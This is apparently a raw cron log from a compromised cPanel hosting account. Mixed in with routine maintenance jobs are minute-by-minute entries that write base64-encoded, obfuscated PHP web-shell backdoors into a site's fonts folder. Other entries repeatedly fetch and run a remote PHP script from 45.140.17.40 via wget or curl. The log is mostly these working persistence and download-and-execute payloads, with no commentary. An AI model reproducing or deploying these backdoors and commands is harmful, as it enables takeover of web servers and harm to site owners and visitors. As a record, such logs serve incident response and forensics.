Sep  6 18:43:01 ip-184-168-122-23 CROND[13224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:43:01 ip-184-168-122-23 CROND[13223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:43:01 ip-184-168-122-23 CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:44:01 ip-184-168-122-23 CROND[13358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:44:01 ip-184-168-122-23 CROND[13359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:44:01 ip-184-168-122-23 CROND[13362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:44:01 ip-184-168-122-23 CROND[13364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:44:01 ip-184-168-122-23 CROND[13365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:45:01 ip-184-168-122-23 CROND[13511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:45:01 ip-184-168-122-23 CROND[13512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:45:01 ip-184-168-122-23 CROND[13513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:45:01 ip-184-168-122-23 CROND[13514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:45:01 ip-184-168-122-23 CROND[13515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:45:01 ip-184-168-122-23 CROND[13516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:46:01 ip-184-168-122-23 CROND[13739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13745]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 18:46:01 ip-184-168-122-23 CROND[13746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:47:01 ip-184-168-122-23 CROND[13839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:47:01 ip-184-168-122-23 CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:47:01 ip-184-168-122-23 CROND[13842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:47:01 ip-184-168-122-23 CROND[13840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:48:01 ip-184-168-122-23 CROND[13926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:48:01 ip-184-168-122-23 CROND[13929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:48:01 ip-184-168-122-23 CROND[13928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:48:01 ip-184-168-122-23 CROND[13931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:48:01 ip-184-168-122-23 CROND[13930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:49:01 ip-184-168-122-23 CROND[14019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:49:01 ip-184-168-122-23 CROND[14022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:49:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:49:01 ip-184-168-122-23 CROND[14023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14118]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:50:02 ip-184-168-122-23 CROND[14126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:50:02 ip-184-168-122-23 CROND[14128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14132]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:50:02 ip-184-168-122-23 CROND[14133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:51:01 ip-184-168-122-23 CROND[14222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:51:01 ip-184-168-122-23 CROND[14226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:51:01 ip-184-168-122-23 CROND[14225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:51:01 ip-184-168-122-23 CROND[14224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:52:01 ip-184-168-122-23 CROND[14399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:52:01 ip-184-168-122-23 CROND[14402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:52:01 ip-184-168-122-23 CROND[14404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:52:01 ip-184-168-122-23 CROND[14403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:52:01 ip-184-168-122-23 CROND[14405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:53:01 ip-184-168-122-23 CROND[14494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:53:01 ip-184-168-122-23 CROND[14495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:53:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:53:01 ip-184-168-122-23 CROND[14496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:54:01 ip-184-168-122-23 CROND[14581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:54:01 ip-184-168-122-23 CROND[14583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:54:01 ip-184-168-122-23 CROND[14584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:54:01 ip-184-168-122-23 CROND[14585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:54:01 ip-184-168-122-23 CROND[14586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:55:01 ip-184-168-122-23 CROND[14681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:55:01 ip-184-168-122-23 CROND[14683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
